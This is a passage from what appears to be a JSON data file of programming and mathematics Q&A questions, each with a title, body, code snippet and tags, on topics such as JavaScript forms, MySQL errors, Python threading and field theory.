the requested content in future.\nRFC 2616 says \n\nClients with link editing
capabilities ought to automatically re-link references to the request-URI to one or
more of the new references returned by the server, where possible.\n\nDo any
browsers actually implement this and change a bookmark's URL?\n", "", "browser
bookmarks url redirection"], "2775876": ["How do i get different information in a
field based on what i select in a dropdown menu?", "I want to add this
functionality to my form. when a option from a dropdown menu is selected i want it
to input the text field above with the corresponding info. For example:\n\nHow can
this be done with and without having to connect to the to get strings?\n", "<form
name=\"form1\" action=\"formhandler\">\n\n<input type=\"text\" name=\"typecar\">\n\
n<select name=\"BMWCars\"> \n<option value=\"Sedan\">Sedan</option> // when this
option is chosen put string \"5-series\" in textfield above\n<option
value=\"Convertible\">Convertible</option> // when this option is chosen put string
\"6-series\" in textfield above\n<option value=\"Truck\">Truck</option> // when
this option is chosen put string \"X5\" in textfield above\n<option
value=\"Coupe\">Coupe</option> // when this option is chosen put string \"3-
series\" in textfield above\n<option value=\"Hatchback\">Hatchback</option> // when
this option is chosen put string \"5-series GT\" in textfield above\n</select>\n\
n</form>\n", "javascript jquery html"], "2383009": ["Where can I find a HBase
cascading module for hbase-0.89.20100924+28?", "I am working on a project using map
reduce and HBase. We are using\nCloudera\u2019s CDH3 distribution which has hbase-
0.89.20100924+28 bundled\ninto it. I would like to use cascading as we have some
processing that\nrequires multiple map reduce jobs, but I have been looking through
the\ndifferent forks of the HBase adaptors for cascading on github and\ncan\u2019t
seem to find one for our version of HBase. Could someone point\nme in the correct
direction? \n", "", "mapreduce hbase cascading"], "5634182": ["ASP.NET MVC 3
Present Web User Challenge?", "In the ASP.NET Webforms days, I had an HTTP Module
that presented a 401 challenge to get the user name/password, authenticate, and
move on. I did with Basic Authentication over SSL to be compatible across many
different browsers, and also to use a central database store for checking
credentials.\nWith the latest MVC bits, I am looking for a way to do the same
thing. What is the proper/modern method to do that? Is Forms Auth the only way
these days? I really need to present the familiar \"logon box\" to the users.\
nThanks.\n", "", "asp.net-mvc-3 iis authentication iis7 httpmodule"], "4249163":
["Why other languages don't support something similar to preprocessor directives
like C and its descendant?", "I wonder why other languages do not support this
feature. What I can understand that C / C++ code is platform dependent so to make
it work (compile and execute) across various platform, is achieved by using
preprocessor directives. And there are many other uses of this apart from this.
Like you can put all your debug printf's inside . So while making the release build
these lines of code do not get compiled in the binary. But in other languages,
achieving this thing (later part) is difficult (or may be impossible, I'm not
sure). All code will get compiled in the binary increasing its size. So my question
is \"why do no support this kind of feature?\" which allows you to include or
exclude some piece of code from the binary in a much handy way.\n", "#if DEBUG ...
#endif", "c programming-languages preprocessor"], "3851854": ["Do finite
algebraically closed fields exist?", "Let $K$ be an algebraically closed field ($\\
operatorname{char}K=p$). Denote\n$${\\mathbb F}_{p^n}=\\{x\\in K\\mid x^{p^n}-
x=0\\}.$$\nIt's easy to prove that ${\\mathbb F}_{p^n}$ consists of exactly $p^n$
elements.\nBut if $|K|<p^n$, we have collision with previous statement (because $
{\\mathbb F}_{p^n}$ is subfield of $K$).\nSo, are there any finite algebraically
closed fields? And if they exist, where have I made a mistake?\nThanks.\n", "",
"abstract-algebra galois-theory finite-fields"], "5663794": ["mysql syntax error
when dealing with negative numbers", "The MySQL Syntax Used\n\nThe MySQL Error
Returned\nYou have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near 'long) VALUES
('82441', '28.665899', '-81.359756')' at line 1\nI don't understand this\nUPDATE\
nthe syntax coloring on this site made long stand out, that must be my issue\n",
"INSERT INTO friend_locations \n(user_id, lat, long) \nVALUES \n('82441',
'28.665899', '-81.359756')\n", "mysql syntax"], "5209042": ["How to use browser
options in selenium?", "I have a browser which takes certain parameters as options
as shown below.\n\nBelow is my selenium code.\n\nWhen i execute this i am getting
the below error.\njava.lang.RuntimeException: Could not start Selenium session:
Failed to start new browser session: Error while launching browser\n at
com.thoughtworks.selenium.DefaultSelenium.start(DefaultSelenium.java:103)\nI think
the problem is with options that my browser requires as the same code works fine
with firefox or IE.\nPlease help me in solving this options issue.\nThanks in
Advance\nGururaj R\n", "testbrowser.exe -id=test -url=http://www.google.com/.\n",
"selenium selenium-rc"], "1803851": ["Lua API
for TokyoTyrant", "I didn't managed to find an Lua client/api for TokyoTyrant.\
nSuch Api exists for TokyoCabinet, but not for TT. And Perl and Ruby API exists for
TT.\nTT provides a native binary protocol, a memcached-compatible protocol, and an
HTTP-oriented protocol.\nSo my questions are :\n1/ Do you think using the memcached
(using luamemcached) or the HTTP protocol (using luaSocket) is \"enough\" for
most / simple usage, and so a native Lua api is not necessary ?\n(the app is a
simple uuid storage/distributor) ?\n2/ Does it make sense to not use TokyoTyrant,
but only TokyoCabinet, and use Lua at the application level to provide network and
concurrent access to TC, using, say, Copas (Copas is , from their website, \"a
dispatcher based on coroutines that can be used by TCP/IP servers.\" ?\nThanks.\n",
"", "lua"], "4140017": ["Spring Security Session", "I am confused about it. I've
set up Spring Security successfully(role based access etc.), but what I don't
understand is how to say add something to the session created by Spring? Or should
I use another session for storing DTO attributes? And if I use my own session will
Spring Security protect it? Its not transparent to me at all:\n\nif Spring Security
uses main session, why did gave me null? I feel really stupid about it, especially
when I've done the most complex bit.\n", "<p id=\"layoutdims\">\n <strong>\n
Logged in as <security:authentication property=\"principal.username\" />\n
</strong>\n <strong>\n Logged in as <% HttpSession hs =
request.getSession(); %>\n <
%=hs.getAttribute(\"principal.username\") %>\n </strong>\n</p>\n", "session
spring-security"], "920510": ["Proof about Field conjugation isomorphisms", "I'm
having an awful time making sense of a proof and I was hoping someone could help.\
nTheorem: Let $\\alpha$ and $\\beta$ be algebraic over a field $F$ with $deg(\\
alpha, F) = n$, as elements of a field extension $E$ of $F$.\nDefine the map $\\
psi_{\\alpha,\\beta}:F(\\alpha)\\to F(\\beta)$ by\n$\\psi_{\\alpha,\\beta}(c_{0} +
c_{1}\\alpha + ... + c_{n-1}\\alpha^{n-1}) = c_{0} + c_{1}\\beta + ... + c_{n-1}\\
beta^{n-1}$.\nThen $\\psi_{\\alpha,\\beta}$ is an isomorphism if and only if $\\
alpha$ and $\\beta$ are conjugates over $F$.\nProof:\n$(\\Rightarrow)$ Assume the
map is an isomorphism. Let $irr(\\alpha, F) = a_{0} + a_{1}x + ... + x^{n}$.\nThen
$a_{0} + a_{1}\\alpha + ... +\\alpha^{n} = 0$, so\n$0 = \\psi_{\\alpha,\\beta}(0) =
\\psi_{\\alpha,\\beta}(a_{0} + a_{1}\\alpha + ... +\\alpha^{n}) = a_{0} + a_{1}\\
beta + ... +\\beta^{n}$, which implies that $\\beta$ is a root of $irr(\\alpha, F)
$. \nThe author then uses the same argument to show that $\\alpha$ is a root of
$irr(\\beta, F)$, which I haven't read carefully yet or worked through. But I am
already in objection.\nHow do we obtain $\\psi_{\\alpha,\\beta}(a_{0} + a_{1}\\
alpha + ... +\\alpha^{n}) = a_{0} + a_{1}\\beta + ... +\\beta^{n}$? The definition
only gives us a formula for up to degree $n-1$ polynomials.\nMy partial
justification:\nSince $a_{0} + a_{1}\\alpha + ... +\\alpha^{n} = 0$, we know $-
a_{0} - a_{1}\\alpha - ... -a_{n-1}\\alpha^{n-1} = \\alpha^{n}$, so\n$\\psi_{\\
alpha,\\beta}(\\alpha^{n}) = \\psi_{\\alpha,\\beta}(-a_{0} - a_{1}\\alpha - ... -
a_{n-1}\\alpha^{n-1}) = -a_{0} - a_{1}\\beta - ... -a_{n-1}\\beta^{n-1}$\nBut I can
conclude that this last expression equals $\\beta^{n}$ only if I assume the result
which I am trying to prove: that $\\beta$ is a root of $irr(\\alpha, F)$.\nThus, I
am stuck.\n", "", "field-theory"], "3915738": ["Plotting Complex Numbers in
Python?", "For a math fair project I want to make a program that will generate a
Julia set fractal. To do this i need to plot complex numbers on a graph. Does
anyone know how to do this? Remember I am using complex numbers, not regular
coordinates. Thank You!\n", "", "python graph fractals complex-numbers"], "694751":
["Twig - display a property inside an entity item", "I have an entity that has an
items property that is an array of item entities. the item entity has id and name
properties.\nwhat I want to do is to get entity.items and display all name
properties, separated by commas.\nthe way I have it now:\n\nBut it is not separated
by commas. I tried the Join filter, but I can't find a way to use it in this
situation, since I have an array of objects.\n", "<tr>\n <th>Items</th>\n
<td>\n {% for item in entity.items %}\n {{ item.name }}\n
{% endfor %}\n </td>\n</tr>\n", "symfony2 doctrine entity twig
arraycollection"], "80990": ["How do you loop through the models in the yii
framework?", "I am trying to loop through the names of my model files in yii so I
can auto populate a link system in my admin section. Basically if I go to the Gii
generator and create a new CRUD section, I want it to take the model name and add a
link to that certain CRUD home page.\nThis is what i have so far on my admin home
page:\n\nso what i would just change the \"company\" and \"gallery\" names into a
variable that grabs the names of the model and loop through this, question is how
would I go about doing this?\n", "<li><a href=\"<?php echo Yii::app()->request-
>baseUrl; ?>/index.php/admin/company\">Edit Company Information</a></li>\n<li><a
href=\"<?php echo Yii::app()->request->baseUrl; ?>/index.php/admin/gallery\">Edit
Gallery</a></li>\n", "php frameworks yii yii-db"], "865940": ["Constrain values in
matlab", "If i have a simple array in matlab, say:\n\nHow do i constrain the values
in that array (if for example i want the maximum value to be 1, so to get to: \n\
nWhat would be the simplest, most efficient way to do that?\n", "a = [0 1 2 3 4 5 6
0 0]\n", "matlab constraints"], "5170293": ["Getting UTF-8 data from MySQL to the
Linux C++ application", "I have a big troubles with display of UTF-8 data retrieved
from the MySQL to the Linux-based C++ application. UTF text is shown as question
marks. \nThe application uses the MySQL C API. So I passed the UTF-8 option after
and before :\n\nand\n\nBut without luck. The test is still displayed as question
marks. I made a few tests with a Perl script (I more familiar with it ;) ). And the
text is displayed correctly if I specify the UTF-8 option for the connection:\n\
nAny idea how to display UTF-8 data in the C++ application correctly?\n",
"mysql_init()", "c++ mysql linux utf-8"], "4199617": ["Android how to do intricate
backgrounds and borders", "I want to do intricate borders in my android popups like
I see on the ipad. \nexample: \nWhat I see here is a thick gradient blue border
with alpha transparency at the top. As well as a drop shadow extending further from
the background.\nIn android I've tried using shape objects for doing semi intricate
backgrounds. This is just a white border.\n\nbut these are limited in that they
can't accept images as variables here. I guess it would be awfully complex to do
these kind of borders in Android. Like perhaps make a relativelayout or tables with
the views having the pieces of the background. Kind of like an HTML layout.\nIs
there a better way to do complex and intricate borders in android? I'd like to make
a polished skin kind of like how iOS has that one default that has a uniform
aesthetic for iOS.\n", "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<shape\n
xmlns:android=\"http://schemas.android.com/apk/res/android\"\n
android:shape=\"rectangle\">\n <solid\n android:color=\"#303030\"/>\n
<stroke\n android:width=\"1dip\"\n android:color=\"#ffffff\"\n />\n
</shape> \n", "android ios xml background shape"], "3455579": ["Servlet mapping
jsf", "I'm asking myself which way is the best for servlet mapping in jsf? And Why?
\nEspecially I'm wondering always about the different suffix of the facelet
resources and the suffix of the url-pattern of the servlet-mapping. My servlet
mapping is always coherent to the suffix of my resources. \nFor Example if I'm
using xhtml as facelets my servlet mapping does it also:\n\nBut I see examples
where the resources are xhtml files and the servlet mapping is on jsf?\nFor
Example:\n\nSo which way is the best way? \nAnd also I'm wondering why the second
way working at all?\n", " <servlet-mapping>\n <servlet-name>Faces
Servlet</servlet-name>\n <url-pattern>*.xhtml</url-pattern>\n </servlet-
mapping>\n", "jsf"], "2186017": ["How to create ICS in rails and send it as a
attchment in a mail?", "How to create ICS in rails and send it as a attchment in a
mail?\n", "", "ruby-on-rails ruby-on-rails-3 calendar sync"], "1136566": ["Bus
Error in RMagick when using Rack?", "Running either alone works fine, but when
running both together, it crashes hard, at what seems like (the first call I make
to it).\nEdit: Request for code fulfilled below:\nUnder Ramaze, the issue can be
reproduced like this\n\nand then visiting will crash.\n", "Magick::Image#new",
"ruby rack rmagick"], "2825588": ["python multithreading synchronization", "I am
having a synchronization problem while threading with cPython. I have two files, I
parse them and return the desired result. However, the code below acts strangely
and returns three times instead of two plus doesn't return in the order I put them
into queue. Here's the code:\n\nNow, when I print, I'd like to print the content of
the \"first\" first of all and then the content of the \"second\". Can anyone help
me? \nNOTE: I am threading because actually I will have to connect more than 10
places at a time and retrieve its results. I believe that threading is the most
appropriate way to accomplish such a task\n", "import Queue\nimport threading\nfrom
HtmlDoc import Document\n\nOUT_LIST = []\n\nclass Threader(threading.Thread):\
n \"\"\"\n Start threading\n \"\"\"\n def __init__(self, queue,
out_queue):\n threading.Thread.__init__(self)\n self.queue = queue\n
self.out_queue = out_queue\n\n\n def run(self):\n while True:\n
if self.queue.qsize() == 0: break\n\n path, host = self.queue.get()\n\n
f = open(path, \"r\")\n source = f.read()\n f.close()\n\n
self.out_queue.put((source, host)) \n self.queue.task_done()\
n\n\n\nclass Processor(threading.Thread):\n \"\"\"\n Process threading\
n \"\"\"\n def __init__(self, out_queue):\n self.out_queue =
out_queue\n self.l_first = []\n self.f_append = self.l_first.append\n
self.l_second = []\n self.s_append = self.l_second.append\n
threading.Thread.__init__(self)\n\n\n def first(self, doc):\n # some code
to to retrieve the text desired, this works 100% I tested it manually\n\n def
second(self, doc):\n # some code to to retrieve the text desired, this works
100% I tested it manually\n\n def run(self):\n while True:\n
if self.out_queue.qsize() == 0: break\n\n doc, host =
self.out_queue.get()\n\n if host == \"first\":\n
self.first(doc)\n elif host == \"second\":\n
self.second(doc)\n\n OUT_LIST.extend(self.l_first + self.l_second)\n\n
self.out_queue.task_done()\n\n\ndef main():\n\n queue = Queue.Queue()\n
out_queue = Queue.Queue()\n\n queue.put((\"...first.html\", \"first\"))\n
queue.put((\"...second.html\", \"second\"))\n\n qsize = queue.qsize()\n\n for
i in range(qsize):\n t = Threader(queue, out_queue)\n
t.setDaemon(True)\n t.start()\n\n for i in range(qsize):\n dt =
Processor(out_queue)\n dt.setDaemon(True)\n dt.start()\n\n
queue.join()\n out_queue.join()\n\n print '<br />'.join(OUT_LIST)\n\nmain()\
n", "python multithreading synchronization"], "2811637": ["Turning a cell in a
UITableView on/off on the same cell, in the same view", "Is it possible to make one
cell in a UITableView have an ON/OFF behavior? Basically, when I click a cell, it
becomes green, which is what I want. It doesnt go to another viewController or
anything. But then when I click that same cell again, in the same view, I want the
green to disappear and for it to return back to it's previous color state.\nThis is
how I have my didSelectRowAtIndexPath\n\nThis seems like an easy question. I know
I can drop in the but that just makes it unhighlighted right away after I click
it.\nThanks!\nAaron\n", "- (void)tableView:(UITableView *)tableView
didSelectRowAtIndexPath:(NSIndexPath *)indexPath {\n NSString *selectedPhrase =
[dataTable objectAtIndex:indexPath.row];\n [self
setCurrentPhrase:selectedPhrase];\n}\n", "iphone uitableview uitableviewcell
didselectrowatindexpath"], "5143675": ["Any Silverlight UML diagramming tools
available?", "This might be a long shot, but I'm curious if there are any
Silverlight components out there that provide UML-editing capabilities. I'm
interested in allowing users to make use-case diagrams and model workflows, among
other things. I'm using Silverlight 4 if it matters.\nThanks!\nEdit\nFree or open-
source options are definitely preferable, though commercial ones will be
considered. Thanks.\n", "", "silverlight uml uml-modeling"], "694750": ["Creating
multiple files for each tld and sorting each file", "I've a listing of million web
addresses. I have to extract the TLD for every url and make multiple files for
every TLD. For instance collect all web addresses with .com as tld and dump that in
1 file, another apply for .edu tld and so forth. Further within each file, I must
sort it alphabetically by domain names after which by subdomains etc.\nct\nCan
anybody produce a jump for applying this in perl?\nI have used the URI module to
extract the tld and domain and host names for each web address.\nHow do I collect
all web addresses with com tld and dump them in 1 file?\nAnd how to go about
sorting each file by tld , then by domain then by subdomain etc?\nAny pointers?\n\
n", "while(my $line = <$fh1>){ \n\nmy $url = $line;\n\n my @components =
split(/\\./, $url);\n my $n_comp = ($components[-1] =~ /^edu|com|net|org|gov$/) ? 2
: 3;\n my $domain = lc(join '.', @components[-$n_comp .. -1]);\n $domain =~
s/^\\.//; # Remove leading . if there is one.\n print $fh3 $domain;\n print
$fh3 \"\\n\";\n\n\n my $host = URI->new($url)->host();\n\n # Treat relative URLs
as absolute URLs with missing http://.\n $url = \"http://$url\" if $url !~ /^\\
w+:/;\n\n\n\n $host =~ s/\\.\\z//; # D::PS doesn't handle \"domain.com.\".\n print
$fh2 $host;\n print $fh2 \"\\n\";\n $dps->get_root_domain($host)\n or die $dps-
>error();\n print $fh4 $dps->tld();\n print $fh4 \"\\n\";\n\n\n }\n", "perl tld"],
"5148157": ["Weak generator of Feller semigroup", "Let $(T_t)_{t \\geq 0}$ a Feller
semigroup and define a linear operator $(A,\\mathcal{D}(A))$ by $$\\mathcal{D}
(A) := \\left\\{u \\in C_{\\infty}(\\mathbb{R}^d); \\exists f \\in C_{\\infty} \\
forall x \\in \\mathbb{R}^d: f(x) = \\lim_{t \\to 0} \\frac{T_t u(x)-u(x)}{t} \\
right\\} \\\\ Au(x) := \\lim_{t \\to 0} \\frac{T_t u(x)-u(x)}{t} \\qquad (u \\in \\
mathcal{D}(A))$$\n($A$ is called weak generator of the semigroup).\nNow I want to
show that this generator is the generator in the sense of the weak topology on
$C_{\\infty}(\\mathbb{R}^d)$, i.e. that the convergence is bounded pointwise
convergence. \nLet $u \\in \\mathcal{D}(A)$. Since (by definition) the sequence is
pointwise convergent, the only remaining thing is to show the boundedness, i.e.\n$
$\\sup_{t>0} \\left\\| \\frac{T_t u-u}{t} \\right\\|_{\\infty} < \\infty$$\nWell,
since the sequence is pointwise convergent we have $$\\sup_{t > 0} \\left|\\
frac{T_t u(x)-u(x)}{t} \\right| < \\infty$$ for fixed $x \\in \\mathbb{R}^d$. A
hint says that one should apply the Banach-Steinhaus theorem, but I don't see how
to apply this theorem here, because there are not even linear operators (note that
$u$ is fixed). Some hint...?\nRemark A Feller semigroup is a positivity preserving,
conservative, strongly continuous semigroup satisfying the sub-markov property.\n",
"", "functional-analysis semigroups"], "3486980": ["Button content not updating
using Frameworkelementfactory", "I have been trying to create a ContentTemplate
using the lovely Frameworkelementfactory.\nThe code works except I can't set the
content of the Button. I have tried many things but I always end up with a Button
with Content= Button.\nHere is the code which generates the contenttemplate. For
your further info, I am using this in a Tabcontrol Header Itemtemplate...\nCheers.\
n\n", "ControlTemplate ct = new ControlTemplate(typeof(TabItem));\n\
nFrameworkElementFactory spouter = new FrameworkElementFactory(typeof
(DockPanel));\nFrameworkElementFactory text = new
FrameworkElementFactory(typeof(TextBlock));\ntext.SetValue(TextBlock.TextProperty,
Name);\nspouter.AppendChild(text);\n\nFrameworkElementFactory mButtonPrev = new
FrameworkElementFactory(typeof(Button));\
nmButtonPrev.SetValue(System.Windows.Controls.Button.ContentProperty, \"x\");\
nmButtonPrev.AddHandler(System.Windows.Controls.Button.ClickEvent, new
RoutedEventHandler(CloseTab));\nspouter.AppendChild(mButtonPrev);\nct.VisualTree =
spouter;\nreturn ct;\n", "c# wpf dynamic"], "3509742": ["Javascript
multidimentional array sorting by numerical order", "I have a two dimensional array
that I need to sort numerically. Here is a sample of the array:\n\nI need to order
numerically by the [0] values. The values are stored as strings. I have figured how
to sort arrays alphabetically and numerically but I can't figure out how to order
this array because of the occasional A and B.\n", " [0] [1]\n 3 320\n
55B 250\n 26 100\n 55A 260\n 56 310\n 89 420\n",
"javascript multidimensional-array array-sorting"], "4232905": ["Is it advisable to
encrypt url parameters instead of having them be in plain text?", "I've had another
developer pose the possibility of combining and encrypting/obsfucating all the
parameters to pages for php, as a security measure against manipulations via
crafted urls and to prevent interior knowledge of the database (e.g. knowing the id
in the database of a specific entry).\nIn other words, instead of single or
multiple public query parameters like ids, there would be a single encrypted blob
that would be decrypted server-side, and re-encrypted when links are crafted.\nAre
there problems with this approach? Are there substantial advantages that make it
worthwhile? Is this approach used in the wild to good effect?\n", "", "php url
encryption parameters"], "5828426": ["How to clean sys.conversation_endpoints", "I
have a table, a trigger on the table implemented using service broker. More than
Half million records are inserted daily into the table.\nThe asynchronous SP is
used to check sveral condition by using inserted data and update other tables. It
was running fine for last 1 month and the SP was get executed withing 2-3 seconds
of insertion of record. But now it take more than 90 minute. \nAt present
sys.conversation_endpoints have too much records. \n(Note that all the table are
truncated daily as I do not need those records day after)\nOther database
activities are normal (average 60% CPU Utilization).\nNow where i need to look??\nI
can re-create database without any problem but i don't think it is a good way to
resolve the problem\n", "", "sql-server-2005 msmq"], "5965733": ["How to convert a
TAR file into an ISO file", "I have a Linux TAR file that I would like to convert
directly into an ISO. Is there a way to do this, preferably, without having to
extract the contents of the file first?\nThis would be similar to the following
question; however, this is focused on plain or straight-up tar files and not
related to bzip or a bzipped
tar.\nThis is also something that I intended to use within a script and the reason
that I do not want to extract it first.\n", "", "linux tar iso convert iso-image"],
"2990333": ["Ruby via FastCGI and NGiNX?", "I have NGiNX setup, and would like to
be able to run sites I create in Ruby.\nHowever my server is pretty fail, only like
250mb memory, probably less, so instead of having to run each Ruby site with the
Thin server I want to run the Ruby sites only when they are accessed, like the way
PHP works with the PHP-FPM server.\nHow does one go about this with NGiNX and
Ruby?\n", "", "nginx fastcgi ruby"], "6009248": ["Scripting - How to disconnect
Remote Desktop sessions?", "I am looking for a way to close all active Remote
Desktop sessions on a computer (local computer). Windows includes a couple of
commands (rwinsta, qwinsta, etc.) to look at the active sessions, but I don't see
how I could easily use the information (unless I parse the string...) to close all
the sessions.\nIs there a way in Powershell (or C#, Batch) to close all Remote
Desktop sessions on a local computer?\nThanks\n", "", "windows-xp remote-desktop
powershell c#"], "841178": ["moving sprite animation", "i have a cocos2d world, and
a sprite/body that is moving fast .\nwhen contact occur i am calling animation
function.\nThe problem is , that when the animation is running in the current
sprite position, the sprite was already gone to another place so animation is not
in right place:\nhow would i run this animation function to follow my sprite ?\
ncode:\n\nthnaks a lot.\n", "-(void)animation:(NSString *)animation\n{\n\n
NSLog(@\"check:%@\",animation);\n\n\n [[CCSpriteFrameCache
sharedSpriteFrameCache] addSpriteFramesWithFile:[NSString
stringWithFormat:@\"%@.plist\",animation]];\n sprite = [CCSprite
spriteWithSpriteFrameName:[NSString stringWithFormat:@\"%@_00000.png\",animation]];
//take the corrdinates of this picture from the plist\n\n
sprite.position=boy.position;\n //sprite.position=ccp(160,175);\n\n
CCSpriteBatchNode *spriteSheet = [ CCSpriteBatchNode batchNodeWithFile:[NSString
stringWithFormat:@\"%@.png\",animation]];\n [spriteSheet addChild:sprite]; //add
this coordinates from the spritesheet to the screen\n [self
addChild:spriteSheet];\n\n\n NSString *Path = [[NSBundle mainBundle]
bundlePath];\n NSString *animPath = [Path stringByAppendingPathComponent:
[NSString stringWithFormat:@\"%@.plist\", animation]];\n NSDictionary
*animSpriteCoords = [[NSDictionary alloc] initWithContentsOfFile: animPath];\n
NSDictionary *animFramesData = [animSpriteCoords objectForKey:@\"frames\"];\n
int b=0;\n int a=0;\n NSMutableArray *animFrames = [NSMutableArray array];\n
for(int i = 1; i < [animFramesData count]; i++) \n\n {\n a=a+1;\n
if(a==10)\n {\n b=b+1;\n a=0;\n }\n\n\n
CCSpriteFrame *frame = [[CCSpriteFrameCache sharedSpriteFrameCache]
spriteFrameByName:[NSString stringWithFormat:@\"%@_000%0i%1i.png\",animation,b,a]];
//[NSString stringWithFormat:@\"eye_blinking_0000%1d.png\",i]\n [animFrames
addObject:frame];\n }\n\n\n //CCAnimation *dollAnimation = [CCAnimation
animation];\n CCAnimation* dollAnimation = [CCAnimation
animationWithFrames:animFrames delay:0.1f];\n //CCAnimation *dollAnimation =
[CCAnimation animationWithName:@\"dance\" animationWithFrames:animFrames];\n
//[dollAnimation setDelay:0.1f];\n CCAnimate * Action = [CCAnimate
actionWithAnimation:dollAnimation];\n id call=[CCCallFunc actionWithTarget:self
selector:@selector(finishAnimation)];\n id sequence=[CCSequence actions:Action,
[CCHide action],call,nil];\n [sprite runAction:sequence];\n}\n", "cocos2d-
iphone"], "5209267": ["Definition of convergence in measure", "Recently I am
studying the measure theory and question of definition of convergence in measure
came into my mind. The usual definition of it is given as: $\\forall\\, \\epsilon >
0,\\; \\lim_{n\\to\\infty}\\mathbb{P}[|X-X_n|>\\epsilon] = 0$. What I can't
understand is the difference of between the formal definition and expression like
$\\lim_{n\\to\\infty}\\mathbb{P}[|X-X_n|>0]$. To me it seems quite similar. Are
these two actually the same of not? Great thanks!\n", "", "measure-theory
probability-theory convergence"], "2301191": ["Change notification in EF5 with
multiple DbContext instances - is it documented, and where?", "I'm working on an
application which will use EF5 as ORM.\nBefore start, I needed to create tests to
confirm that everything in EF5 is working as it should. One of things I tested was
support for UnitOfWork. I simulated multiple units of work by creating multiple
instances of DbContext (like multiple requests when DbContext lifetime is set to
PerWebRequest in IOC).\nI encountered a suprise there, as EF5, as it seems uses
something like SqlDependency, because I have situation as folows:\n\nI am trying to
find documentation but neither EF project pages and blogs nor google help me. This
is not how old version of EF worked, where there was no out of the box feature to
notify other contexts (i.e. see this question). It is nice if this is implemented
but I need document which says it is, because I'm afraid that I cannot rely on this
feature, and I cannot rely on knowing that data in my context won't change if other
unit of work completes, as here obviously does.\n", "DbContext unit1 = new
DbContext(), unit2 = new DbContext();\nunit1.Items.Add(new Item() { Name
= \"Item1\" });\nAssert.AreEqual(0, unit1.Items.ToList().Count); // true as item is
in unit1.Items.Local collection\nAssert.AreEqual(0, unit2.Items.ToList().Count);\n\
nunit1.SaveChanges();\n\nAssert.AreEqual(1, unit1.Items.ToList().Count); // true as
unit1 is saved\nAssert.AreEqual(1, unit2.Items.ToList().Count); // true as unit2 is
somehow notified of changes\n", "entity-framework entity-framework-5 dbcontext
change-tracking"], "3565061": ["Fill missing values in the data.frame with the data
from the same data frame", "I'm trying to backfill a fully outerjoined table with
nearest preceding column data.\nThe data frame I have looks like.. \n(No rows have
both sides as NA and the table is sorted by date).\n\nwith this, I'm looking to..\
n\nleave the non-data missing rows as it is.\nIf either one side is missing (NA),
then fill it with the \"nearest preceding\" row which has valid opposite side's
value.\n\nAnd so as the result, I would like to have the table looking like...\n\
nWhat kind of R commands can I use to achieve this?\n", " date X
Y\n2012-07-05 00:01:19 0.0122 NA\n2012-07-05 03:19:34 0.0121 NA\n2012-
07-05 03:19:56 0.0121 0.027\n2012-07-05 03:20:31 0.0121 NA\n2012-07-05
04:19:56 0.0121 0.028\n2012-07-05 04:20:31 0.0121 NA\n2012-07-05 04:20:50
0.0121 NA\n2012-07-05 04:22:29 0.0121 0.027\n2012-07-05 04:24:37 0.0121
NA\n2012-07-05 20:48:45 0.0121 NA\n2012-07-05 23:02:34 NA 0.029\
n2012-07-05 23:30:45 NA 0.029\n", "r data.frame fill na"], "943806": ["Air
- Launch app from browser not working in Google Chrome", "I'm using a Flash based
button to launch an Adobe Air desktop app from the browser.\nIt works across all
browsers but not for Google Chrome. I don't receive any error messages.\nDoes
anybody have an idea what the reason could be? \nThis is the JavaScript of
SWFObject for embeding the .SWF:\n\nThis is the AS3 code:\n\nThanks you. Matt\n",
"<script type=\"text/javascript\">\n var flashvars = {};\n
var params = {};\n var attributes = {};\n\n\n
params.bgcolor=\"#FFFFFF\"; \n params.menu=\"false\"; \n
params.quality=\"high\"; \n params.scale=\"noscale\"; \n
params.wmode=\"window\"; \n params.allowscriptaccess=\"always\"; \n
params.allowfullscreen=\"true\"; \n\n attributes.name = \"\";\n
attributes.styleclass = \"\";\n attributes.align = \"\"; \n
swfobject.embedSWF(\"swf/launchapp.swf?
v=1\", \"flashContent\", \"480\", \"500\", \"9.0.115\", \"swf/expressInstall.swf\",
flashvars, params, attributes);\n </script>\n", "flash google-chrome air"],
"622670": ["Implementing PHP Pagination for a SQLite query set", "I'm looking for a
good function for implementing pagination in a PHP site. The solution needs to work
for vanilla PHP (no template language, no frameworks, etc). I'd like to be able to
put something like the following in my code:\n\nThis would output something like
the following:\n\nThen, there is the issue of filtering my query. I could query
twice, once to get a count of total objects and once with a limit clause to get the
specific \"widgets\" that I need.\nAre there any simple PHP functions that can
elegantly encapsulate this functionality, or is it something best done by hand? I
think I've become spoiled by django-pagination, but this project requires a PHP
solution.\n", "<? $widgets = ... (some query)?>\nPage content here.\n<?=
paginate($widgets) ?>\n", "php pagination"], "2716155": ["xCode - Help trying to
add an undo/redo function to a UIBezier Path", "I'm trying to add an undo/redo
function to an iOS app. I want to be able to draw several lines, then undo each
one.. I can erase the whole thing, but that's not good enough... I would really
appreciate help as this is my first foray into using CG..\nMy .h declarations
include:\n\nIn .m, I have:\n\nAt the end of touchesBegin, the pathArray count is
always zero.. :(\nTo implement the undo, I'm using this code:\n\ncount here is also
zero.. \nAll of this is being handled in a UIViewController. I would welcome any
advice/improvements/suggestions.\nThanks\n", "CGPoint lastPoint;\nNSMutableArray
*pathArray;\nUIBezierPath *myPath;\n", "ios xcode core-graphics"], "2788623":
["Dialog doesn't display properly
with .Show but don't want to block on .ShowDialog while multithreading in C#", "I
have a program that needs to connect to a server to gather some data. I start a new
thread and have it perform the connection sequence. In this sequence it will
continue to try to connect until it successfully does so.\nThe code is as follows
for the connect sequence:\n\nAfter I start the thread, in the parent/main thread I
go on to loop and check a variable declared in my main form/dialog on whether or
not it is connected.\nThe code for the main thread is as follows:\n\nIf in the
InitilizeConnection code it retries connecting because it failed the first time I
would like it to show a new dialog/form that lets the user know it is retrying to
connect. When I use the .Show() method on establishingConnectionForm (in the parent
thread) it brings up the dialog/form but it doesn't display properly. Some of the
tools on the form are shaded out white and the mouse icon turns into the
thinking/doing work icon and doesn't let you click on the form and interact with
it.\nWhat I imagined is that I would be able to show the form and interact with it
(IE close it by 'X'ing it in the top right corner) and move it around and stuff.
When the connection was established I would break out of my while(!this.connected)
loop in the main/parent thread and then close/dispose of the
establishingConnectionForm.\nI have tried creating/initializing the form on the
thread that does the connecting sequence but I still get the same result with tools
on the form shaded out and not being able to interact with it. Using
the .ShowDialog() method works in terms of making it display correctly and lets me
interact with it, but I don't want to block as I don't have a DialogResult. I want
the form to close by itself once a connection is established.\nI appreciate you
